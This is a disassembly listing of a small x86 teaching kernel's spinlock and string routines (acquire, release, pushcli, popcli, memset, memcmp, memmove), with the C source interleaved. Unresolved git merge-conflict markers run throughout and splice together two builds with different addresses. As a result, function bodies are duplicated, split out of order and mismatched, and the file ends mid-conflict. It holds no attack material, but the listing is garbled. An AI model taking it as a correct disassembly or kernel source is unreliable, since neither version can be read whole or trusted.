80104664: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010466a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104670 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
=======
8010436e: 83 c0 01 add $0x1,%eax
80104371: 83 f8 0a cmp $0xa,%eax
80104374: 75 e2 jne 80104358 <getcallerpcs+0x38>
80104376: eb d6 jmp 8010434e <getcallerpcs+0x2e>
80104378: 90 nop
80104379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104380 <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
acquire(struct spinlock *lk)
{
<<<<<<< HEAD
80104670: 55 push %ebp
80104671: 89 e5 mov %esp,%ebp
=======
80104380: 55 push %ebp
80104381: 89 e5 mov %esp,%ebp
80104383: 83 ec 18 sub $0x18,%esp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
<<<<<<< HEAD
80104673: 9c pushf
80104674: 59 pop %ecx
=======
80104386: 9c pushf
80104387: 59 pop %ecx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static inline void
cli(void)
{
asm volatile("cli");
<<<<<<< HEAD
80104675: fa cli
=======
80104388: fa cli
{
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int eflags;
eflags = readeflags();
cli();
if(cpu->ncli == 0)
<<<<<<< HEAD
80104676: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
8010467d: 8b 82 ac 00 00 00 mov 0xac(%edx),%eax
80104683: 85 c0 test %eax,%eax
80104685: 75 0c jne 80104693 <pushcli+0x23>
cpu->intena = eflags & FL_IF;
80104687: 81 e1 00 02 00 00 and $0x200,%ecx
8010468d: 89 8a b0 00 00 00 mov %ecx,0xb0(%edx)
cpu->ncli += 1;
80104693: 83 c0 01 add $0x1,%eax
80104696: 89 82 ac 00 00 00 mov %eax,0xac(%edx)
}
8010469c: 5d pop %ebp
8010469d: c3 ret
8010469e: 66 90 xchg %ax,%ax
801046a0 <popcli>:
=======
80104389: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010438f: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx
80104395: 85 d2 test %edx,%edx
80104397: 75 0c jne 801043a5 <acquire+0x25>
cpu->intena = eflags & FL_IF;
80104399: 81 e1 00 02 00 00 and $0x200,%ecx
8010439f: 89 88 b0 00 00 00 mov %ecx,0xb0(%eax)
cpu->ncli += 1;
801043a5: 83 c2 01 add $0x1,%edx
801043a8: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
// other CPUs to waste time spinning to acquire it.
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
acquire(struct spinlock *lk)
{
<<<<<<< HEAD
801046a0: 55 push %ebp
801046a1: 89 e5 mov %esp,%ebp
801046a3: 83 ec 08 sub $0x8,%esp
=======
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
801043ae: 8b 55 08 mov 0x8(%ebp),%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
<<<<<<< HEAD
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
801046a6: 9c pushf
801046a7: 58 pop %eax
if(readeflags()&FL_IF)
801046a8: f6 c4 02 test $0x2,%ah
801046ab: 75 2c jne 801046d9 <popcli+0x39>
panic("popcli - interruptible");
if(--cpu->ncli < 0)
801046ad: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801046b4: 83 aa ac 00 00 00 01 subl $0x1,0xac(%edx)
801046bb: 78 0f js 801046cc <popcli+0x2c>
panic("popcli");
if(cpu->ncli == 0 && cpu->intena)
801046bd: 75 0b jne 801046ca <popcli+0x2a>
801046bf: 8b 82 b0 00 00 00 mov 0xb0(%edx),%eax
801046c5: 85 c0 test %eax,%eax
801046c7: 74 01 je 801046ca <popcli+0x2a>
=======
return lock->locked && lock->cpu == cpu;
801043b1: 8b 0a mov (%edx),%ecx
801043b3: 85 c9 test %ecx,%ecx
801043b5: 74 05 je 801043bc <acquire+0x3c>
801043b7: 3b 42 08 cmp 0x8(%edx),%eax
801043ba: 74 3e je 801043fa <acquire+0x7a>
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
801043bc: b9 01 00 00 00 mov $0x1,%ecx
801043c1: eb 08 jmp 801043cb <acquire+0x4b>
801043c3: 90 nop
801043c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801043c8: 8b 55 08 mov 0x8(%ebp),%edx
801043cb: 89 c8 mov %ecx,%eax
801043cd: f0 87 02 lock xchg %eax,(%edx)
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
panic("acquire");
// The xchg is atomic.
while(xchg(&lk->locked, 1) != 0)
801043d0: 85 c0 test %eax,%eax
801043d2: 75 f4 jne 801043c8 <acquire+0x48>
;
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
801043d4: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
801043d9: 8b 45 08 mov 0x8(%ebp),%eax
801043dc: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
getcallerpcs(&lk, lk->pcs);
801043e3: 83 c0 0c add $0xc,%eax
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
801043e6: 89 50 fc mov %edx,-0x4(%eax)
getcallerpcs(&lk, lk->pcs);
801043e9: 89 44 24 04 mov %eax,0x4(%esp)
801043ed: 8d 45 08 lea 0x8(%ebp),%eax
801043f0: 89 04 24 mov %eax,(%esp)
801043f3: e8 28 ff ff ff call 80104320 <getcallerpcs>
}
801043f8: c9 leave
801043f9: c3 ret
void
acquire(struct spinlock *lk)
{
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
panic("acquire");
801043fa: c7 04 24 83 77 10 80 movl $0x80107783,(%esp)
80104401: e8 5a bf ff ff call 80100360 <panic>
80104406: 8d 76 00 lea 0x0(%esi),%esi
80104409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104410 <holding>:
}
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80104410: 55 push %ebp
return lock->locked && lock->cpu == cpu;
80104411: 31 c0 xor %eax,%eax
}
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80104413: 89 e5 mov %esp,%ebp
80104415: 8b 55 08 mov 0x8(%ebp),%edx
return lock->locked && lock->cpu == cpu;
80104418: 8b 0a mov (%edx),%ecx
8010441a: 85 c9 test %ecx,%ecx
8010441c: 74 0f je 8010442d <holding+0x1d>
8010441e: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104424: 39 42 08 cmp %eax,0x8(%edx)
80104427: 0f 94 c0 sete %al
8010442a: 0f b6 c0 movzbl %al,%eax
}
8010442d: 5d pop %ebp
8010442e: c3 ret
8010442f: 90 nop
80104430 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80104430: 55 push %ebp
80104431: 89 e5 mov %esp,%ebp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104433: 9c pushf
80104434: 59 pop %ecx
}
static inline void
cli(void)
{
asm volatile("cli");
80104435: fa cli
int eflags;
eflags = readeflags();
cli();
if(cpu->ncli == 0)
80104436: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010443c: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx
80104442: 85 d2 test %edx,%edx
80104444: 75 0c jne 80104452 <pushcli+0x22>
cpu->intena = eflags & FL_IF;
80104446: 81 e1 00 02 00 00 and $0x200,%ecx
8010444c: 89 88 b0 00 00 00 mov %ecx,0xb0(%eax)
cpu->ncli += 1;
80104452: 83 c2 01 add $0x1,%edx
80104455: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
}
8010445b: 5d pop %ebp
8010445c: c3 ret
8010445d: 8d 76 00 lea 0x0(%esi),%esi
80104460 <popcli>:
void
popcli(void)
{
80104460: 55 push %ebp
80104461: 89 e5 mov %esp,%ebp
80104463: 83 ec 18 sub $0x18,%esp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104466: 9c pushf
80104467: 58 pop %eax
if(readeflags()&FL_IF)
80104468: f6 c4 02 test $0x2,%ah
8010446b: 75 34 jne 801044a1 <popcli+0x41>
panic("popcli - interruptible");
if(--cpu->ncli < 0)
8010446d: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104473: 8b 88 ac 00 00 00 mov 0xac(%eax),%ecx
80104479: 8d 51 ff lea -0x1(%ecx),%edx
8010447c: 85 d2 test %edx,%edx
8010447e: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
80104484: 78 0f js 80104495 <popcli+0x35>
panic("popcli");
if(cpu->ncli == 0 && cpu->intena)
80104486: 75 0b jne 80104493 <popcli+0x33>
80104488: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
8010448e: 85 c0 test %eax,%eax
80104490: 74 01 je 80104493 <popcli+0x33>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static inline void
sti(void)
{
asm volatile("sti");
<<<<<<< HEAD
801046c9: fb sti
sti();
}
801046ca: c9 leave
801046cb: c3 ret
=======
80104492: fb sti
sti();
}
80104493: c9 leave
80104494: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
popcli(void)
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
if(--cpu->ncli < 0)
panic("popcli");
<<<<<<< HEAD
801046cc: 83 ec 0c sub $0xc,%esp
801046cf: 68 12 7a 10 80 push $0x80107a12
801046d4: e8 97 bc ff ff call 80100370 <panic>
=======
80104495: c7 04 24 a2 77 10 80 movl $0x801077a2,(%esp)
8010449c: e8 bf be ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
popcli(void)
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
<<<<<<< HEAD
801046d9: 83 ec 0c sub $0xc,%esp
801046dc: 68 fb 79 10 80 push $0x801079fb
801046e1: e8 8a bc ff ff call 80100370 <panic>
801046e6: 8d 76 00 lea 0x0(%esi),%esi
801046e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801046f0 <release>:
=======
801044a1: c7 04 24 8b 77 10 80 movl $0x8010778b,(%esp)
801044a8: e8 b3 be ff ff call 80100360 <panic>
801044ad: 8d 76 00 lea 0x0(%esi),%esi
801044b0 <release>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Release the lock.
void
release(struct spinlock *lk)
{
<<<<<<< HEAD
801046f0: 55 push %ebp
801046f1: 89 e5 mov %esp,%ebp
801046f3: 83 ec 08 sub $0x8,%esp
801046f6: 8b 45 08 mov 0x8(%ebp),%eax
=======
801044b0: 55 push %ebp
801044b1: 89 e5 mov %esp,%ebp
801044b3: 83 ec 18 sub $0x18,%esp
801044b6: 8b 45 08 mov 0x8(%ebp),%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
return lock->locked && lock->cpu == cpu;
<<<<<<< HEAD
801046f9: 8b 10 mov (%eax),%edx
801046fb: 85 d2 test %edx,%edx
801046fd: 74 0c je 8010470b <release+0x1b>
801046ff: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80104706: 39 50 08 cmp %edx,0x8(%eax)
80104709: 74 15 je 80104720 <release+0x30>
=======
801044b9: 8b 10 mov (%eax),%edx
801044bb: 85 d2 test %edx,%edx
801044bd: 74 0c je 801044cb <release+0x1b>
801044bf: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801044c6: 39 50 08 cmp %edx,0x8(%eax)
801044c9: 74 0d je 801044d8 <release+0x28>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Release the lock.
void
release(struct spinlock *lk)
{
if(!holding(lk))
panic("release");
<<<<<<< HEAD
8010470b: 83 ec 0c sub $0xc,%esp
8010470e: 68 19 7a 10 80 push $0x80107a19
80104713: e8 58 bc ff ff call 80100370 <panic>
80104718: 90 nop
80104719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
lk->pcs[0] = 0;
80104720: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
lk->cpu = 0;
80104727: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
=======
801044cb: c7 04 24 a9 77 10 80 movl $0x801077a9,(%esp)
801044d2: e8 89 be ff ff call 80100360 <panic>
801044d7: 90 nop
lk->pcs[0] = 0;
801044d8: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
lk->cpu = 0;
801044df: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that all the stores in the critical
// section are visible to other cores before the lock is released.
// Both the C compiler and the hardware may re-order loads and
// stores; __sync_synchronize() tells them both not to.
__sync_synchronize();
<<<<<<< HEAD
8010472e: f0 83 0c 24 00 lock orl $0x0,(%esp)
=======
801044e6: f0 83 0c 24 00 lock orl $0x0,(%esp)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
<<<<<<< HEAD
80104733: c7 00 00 00 00 00 movl $0x0,(%eax)
popcli();
}
80104739: c9 leave
=======
801044eb: c7 00 00 00 00 00 movl $0x0,(%eax)
popcli();
}
801044f1: c9 leave
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
popcli();
<<<<<<< HEAD
8010473a: e9 61 ff ff ff jmp 801046a0 <popcli>
8010473f: 90 nop
80104740 <memset>:
=======
801044f2: e9 69 ff ff ff jmp 80104460 <popcli>
801044f7: 66 90 xchg %ax,%ax
801044f9: 66 90 xchg %ax,%ax
801044fb: 66 90 xchg %ax,%ax
801044fd: 66 90 xchg %ax,%ax
801044ff: 90 nop
80104500 <memset>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
<<<<<<< HEAD
80104740: 55 push %ebp
80104741: 89 e5 mov %esp,%ebp
80104743: 57 push %edi
80104744: 53 push %ebx
80104745: 8b 55 08 mov 0x8(%ebp),%edx
80104748: 8b 4d 10 mov 0x10(%ebp),%ecx
if ((int)dst%4 == 0 && n%4 == 0){
8010474b: f6 c2 03 test $0x3,%dl
8010474e: 75 05 jne 80104755 <memset+0x15>
80104750: f6 c1 03 test $0x3,%cl
80104753: 74 13 je 80104768 <memset+0x28>
=======
80104500: 55 push %ebp
80104501: 89 e5 mov %esp,%ebp
80104503: 8b 55 08 mov 0x8(%ebp),%edx
80104506: 57 push %edi
80104507: 8b 4d 10 mov 0x10(%ebp),%ecx
8010450a: 53 push %ebx
if ((int)dst%4 == 0 && n%4 == 0){
8010450b: f6 c2 03 test $0x3,%dl
8010450e: 75 05 jne 80104515 <memset+0x15>
80104510: f6 c1 03 test $0x3,%cl
80104513: 74 13 je 80104528 <memset+0x28>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
<<<<<<< HEAD
80104755: 89 d7 mov %edx,%edi
80104757: 8b 45 0c mov 0xc(%ebp),%eax
8010475a: fc cld
8010475b: f3 aa rep stos %al,%es:(%edi)
=======
80104515: 89 d7 mov %edx,%edi
80104517: 8b 45 0c mov 0xc(%ebp),%eax
8010451a: fc cld
8010451b: f3 aa rep stos %al,%es:(%edi)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
c &= 0xFF;
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
} else
stosb(dst, c, n);
return dst;
}
<<<<<<< HEAD
8010475d: 5b pop %ebx
8010475e: 89 d0 mov %edx,%eax
80104760: 5f pop %edi
80104761: 5d pop %ebp
80104762: c3 ret
80104763: 90 nop
80104764: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
8010451d: 5b pop %ebx
8010451e: 89 d0 mov %edx,%eax
80104520: 5f pop %edi
80104521: 5d pop %ebp
80104522: c3 ret
80104523: 90 nop
80104524: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void*
memset(void *dst, int c, uint n)
{
if ((int)dst%4 == 0 && n%4 == 0){
c &= 0xFF;
<<<<<<< HEAD
80104768: 0f b6 7d 0c movzbl 0xc(%ebp),%edi
=======
80104528: 0f b6 7d 0c movzbl 0xc(%ebp),%edi
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
8010452c: c1 e9 02 shr $0x2,%ecx
8010452f: 89 f8 mov %edi,%eax
80104531: 89 fb mov %edi,%ebx
80104533: c1 e0 18 shl $0x18,%eax
80104536: c1 e3 10 shl $0x10,%ebx
80104539: 09 d8 or %ebx,%eax
8010453b: 09 f8 or %edi,%eax
8010453d: c1 e7 08 shl $0x8,%edi
80104540: 09 f8 or %edi,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static inline void
stosl(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosl" :
<<<<<<< HEAD
8010476c: c1 e9 02 shr $0x2,%ecx
8010476f: 89 fb mov %edi,%ebx
80104771: 89 f8 mov %edi,%eax
80104773: c1 e3 18 shl $0x18,%ebx
80104776: c1 e0 10 shl $0x10,%eax
80104779: 09 d8 or %ebx,%eax
8010477b: 09 f8 or %edi,%eax
8010477d: c1 e7 08 shl $0x8,%edi
80104780: 09 f8 or %edi,%eax
80104782: 89 d7 mov %edx,%edi
80104784: fc cld
80104785: f3 ab rep stos %eax,%es:(%edi)
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
=======
80104542: 89 d7 mov %edx,%edi
80104544: fc cld
80104545: f3 ab rep stos %eax,%es:(%edi)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
} else
stosb(dst, c, n);
return dst;
}
<<<<<<< HEAD
80104787: 5b pop %ebx
80104788: 89 d0 mov %edx,%eax
8010478a: 5f pop %edi
8010478b: 5d pop %ebp
8010478c: c3 ret
8010478d: 8d 76 00 lea 0x0(%esi),%esi
80104790 <memcmp>:
=======
80104547: 5b pop %ebx
80104548: 89 d0 mov %edx,%eax
8010454a: 5f pop %edi
8010454b: 5d pop %ebp
8010454c: c3 ret
8010454d: 8d 76 00 lea 0x0(%esi),%esi
80104550 <memcmp>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
int
memcmp(const void *v1, const void *v2, uint n)
{
<<<<<<< HEAD
80104790: 55 push %ebp
80104791: 89 e5 mov %esp,%ebp
80104793: 57 push %edi
80104794: 56 push %esi
80104795: 8b 45 10 mov 0x10(%ebp),%eax
80104798: 53 push %ebx
80104799: 8b 75 0c mov 0xc(%ebp),%esi
8010479c: 8b 5d 08 mov 0x8(%ebp),%ebx
=======
80104550: 55 push %ebp
80104551: 89 e5 mov %esp,%ebp
80104553: 8b 45 10 mov 0x10(%ebp),%eax
80104556: 57 push %edi
80104557: 56 push %esi
80104558: 8b 75 0c mov 0xc(%ebp),%esi
8010455b: 53 push %ebx
8010455c: 8b 5d 08 mov 0x8(%ebp),%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
<<<<<<< HEAD
8010479f: 85 c0 test %eax,%eax
801047a1: 74 29 je 801047cc <memcmp+0x3c>
if(*s1 != *s2)
801047a3: 0f b6 13 movzbl (%ebx),%edx
801047a6: 0f b6 0e movzbl (%esi),%ecx
801047a9: 38 d1 cmp %dl,%cl
801047ab: 75 2b jne 801047d8 <memcmp+0x48>
801047ad: 8d 78 ff lea -0x1(%eax),%edi
801047b0: 31 c0 xor %eax,%eax
801047b2: eb 14 jmp 801047c8 <memcmp+0x38>
801047b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801047b8: 0f b6 54 03 01 movzbl 0x1(%ebx,%eax,1),%edx
801047bd: 83 c0 01 add $0x1,%eax
801047c0: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx
801047c4: 38 ca cmp %cl,%dl
801047c6: 75 10 jne 801047d8 <memcmp+0x48>
=======
8010455f: 85 c0 test %eax,%eax
80104561: 8d 78 ff lea -0x1(%eax),%edi
80104564: 74 26 je 8010458c <memcmp+0x3c>
if(*s1 != *s2)
80104566: 0f b6 03 movzbl (%ebx),%eax
80104569: 31 d2 xor %edx,%edx
8010456b: 0f b6 0e movzbl (%esi),%ecx
8010456e: 38 c8 cmp %cl,%al
80104570: 74 16 je 80104588 <memcmp+0x38>
80104572: eb 24 jmp 80104598 <memcmp+0x48>
80104574: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104578: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax
8010457d: 83 c2 01 add $0x1,%edx
80104580: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104584: 38 c8 cmp %cl,%al
80104586: 75 10 jne 80104598 <memcmp+0x48>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
<<<<<<< HEAD
801047c8: 39 f8 cmp %edi,%eax
801047ca: 75 ec jne 801047b8 <memcmp+0x28>
return *s1 - *s2;
s1++, s2++;
}
return 0;
}
801047cc: 5b pop %ebx
if(*s1 != *s2)
=======
80104588: 39 fa cmp %edi,%edx
8010458a: 75 ec jne 80104578 <memcmp+0x28>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return *s1 - *s2;
s1++, s2++;
}
return 0;
<<<<<<< HEAD
801047cd: 31 c0 xor %eax,%eax
}
801047cf: 5e pop %esi
801047d0: 5f pop %edi
801047d1: 5d pop %ebp
801047d2: c3 ret
801047d3: 90 nop
801047d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s1 = v1;
s2 = v2;
while(n-- > 0){
if(*s1 != *s2)
return *s1 - *s2;
801047d8: 0f b6 c2 movzbl %dl,%eax
=======
}
8010458c: 5b pop %ebx
if(*s1 != *s2)
return *s1 - *s2;
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
s1++, s2++;
}
return 0;
8010458d: 31 c0 xor %eax,%eax
}
<<<<<<< HEAD
801047db: 5b pop %ebx
=======
8010458f: 5e pop %esi
80104590: 5f pop %edi
80104591: 5d pop %ebp
80104592: c3 ret
80104593: 90 nop
80104594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104598: 5b pop %ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
s1 = v1;
s2 = v2;
while(n-- > 0){
if(*s1 != *s2)
return *s1 - *s2;
<<<<<<< HEAD
801047dc: 29 c8 sub %ecx,%eax
=======
80104599: 29 c8 sub %ecx,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
s1++, s2++;
}
return 0;
}
<<<<<<< HEAD
801047de: 5e pop %esi
801047df: 5f pop %edi
801047e0: 5d pop %ebp
801047e1: c3 ret
801047e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801047e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801047f0 <memmove>:
=======
8010459b: 5e pop %esi
8010459c: 5f pop %edi
8010459d: 5d pop %ebp
8010459e: c3 ret
8010459f: 90 nop
801045a0 <memmove>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void*
memmove(void *dst, const void *src, uint n)
{
<<<<<<< HEAD
801047f0: 55 push %ebp
801047f1: 89 e5 mov %esp,%ebp
801047f3: 56 push %esi
801047f4: 53 push %ebx
801047f5: 8b 45 08 mov 0x8(%ebp),%eax
801047f8: 8b 75 0c mov 0xc(%ebp),%esi
801047fb: 8b 5d 10 mov 0x10(%ebp),%ebx
=======
801045a0: 55 push %ebp
801045a1: 89 e5 mov %esp,%ebp
801045a3: 57 push %edi
801045a4: 8b 45 08 mov 0x8(%ebp),%eax
801045a7: 56 push %esi
801045a8: 8b 75 0c mov 0xc(%ebp),%esi
801045ab: 53 push %ebx
801045ac: 8b 5d 10 mov 0x10(%ebp),%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
<<<<<<< HEAD
801047fe: 39 c6 cmp %eax,%esi
80104800: 73 2e jae 80104830 <memmove+0x40>
80104802: 8d 0c 1e lea (%esi,%ebx,1),%ecx
80104805: 39 c8 cmp %ecx,%eax
80104807: 73 27 jae 80104830 <memmove+0x40>
=======
801045af: 39 c6 cmp %eax,%esi
801045b1: 73 35 jae 801045e8 <memmove+0x48>
801045b3: 8d 0c 1e lea (%esi,%ebx,1),%ecx
801045b6: 39 c8 cmp %ecx,%eax
801045b8: 73 2e jae 801045e8 <memmove+0x48>
s += n;
d += n;
while(n-- > 0)
801045ba: 85 db test %ebx,%ebx
s = src;
d = dst;
if(s < d && s + n > d){
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
s += n;
d += n;
801045bc: 8d 3c 18 lea (%eax,%ebx,1),%edi
while(n-- > 0)
<<<<<<< HEAD
80104809: 85 db test %ebx,%ebx
8010480b: 8d 53 ff lea -0x1(%ebx),%edx
8010480e: 74 17 je 80104827 <memmove+0x37>
*--d = *--s;
80104810: 29 d9 sub %ebx,%ecx
80104812: 89 cb mov %ecx,%ebx
80104814: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104818: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
8010481c: 88 0c 10 mov %cl,(%eax,%edx,1)
=======
801045bf: 8d 53 ff lea -0x1(%ebx),%edx
801045c2: 74 1b je 801045df <memmove+0x3f>
801045c4: f7 db neg %ebx
801045c6: 8d 34 19 lea (%ecx,%ebx,1),%esi
801045c9: 01 fb add %edi,%ebx
801045cb: 90 nop
801045cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*--d = *--s;
801045d0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
801045d4: 88 0c 13 mov %cl,(%ebx,%edx,1)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
<<<<<<< HEAD
8010481f: 83 ea 01 sub $0x1,%edx
80104822: 83 fa ff cmp $0xffffffff,%edx
80104825: 75 f1 jne 80104818 <memmove+0x28>
=======
801045d7: 83 ea 01 sub $0x1,%edx
801045da: 83 fa ff cmp $0xffffffff,%edx
801045dd: 75 f1 jne 801045d0 <memmove+0x30>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
} else
while(n-- > 0)
*d++ = *s++;
return dst;
}
<<<<<<< HEAD
80104827: 5b pop %ebx
80104828: 5e pop %esi
80104829: 5d pop %ebp
8010482a: c3 ret
8010482b: 90 nop
8010482c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
801045df: 5b pop %ebx
801045e0: 5e pop %esi
801045e1: 5f pop %edi
801045e2: 5d pop %ebp
801045e3: c3 ret
801045e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
<<<<<<< HEAD
80104830: 31 d2 xor %edx,%edx
80104832: 85 db test %ebx,%ebx
80104834: 74 f1 je 80104827 <memmove+0x37>
80104836: 8d 76 00 lea 0x0(%esi),%esi
80104839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
*d++ = *s++;
80104840: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104844: 88 0c 10 mov %cl,(%eax,%edx,1)
80104847: 83 c2 01 add $0x1,%edx
=======
801045e8: 31 d2 xor %edx,%edx
801045ea: 85 db test %ebx,%ebx
801045ec: 74 f1 je 801045df <memmove+0x3f>
801045ee: 66 90 xchg %ax,%ax
*d++ = *s++;
801045f0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
801045f4: 88 0c 10 mov %cl,(%eax,%edx,1)
801045f7: 83 c2 01 add $0x1,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
<<<<<<< HEAD
8010484a: 39 d3 cmp %edx,%ebx
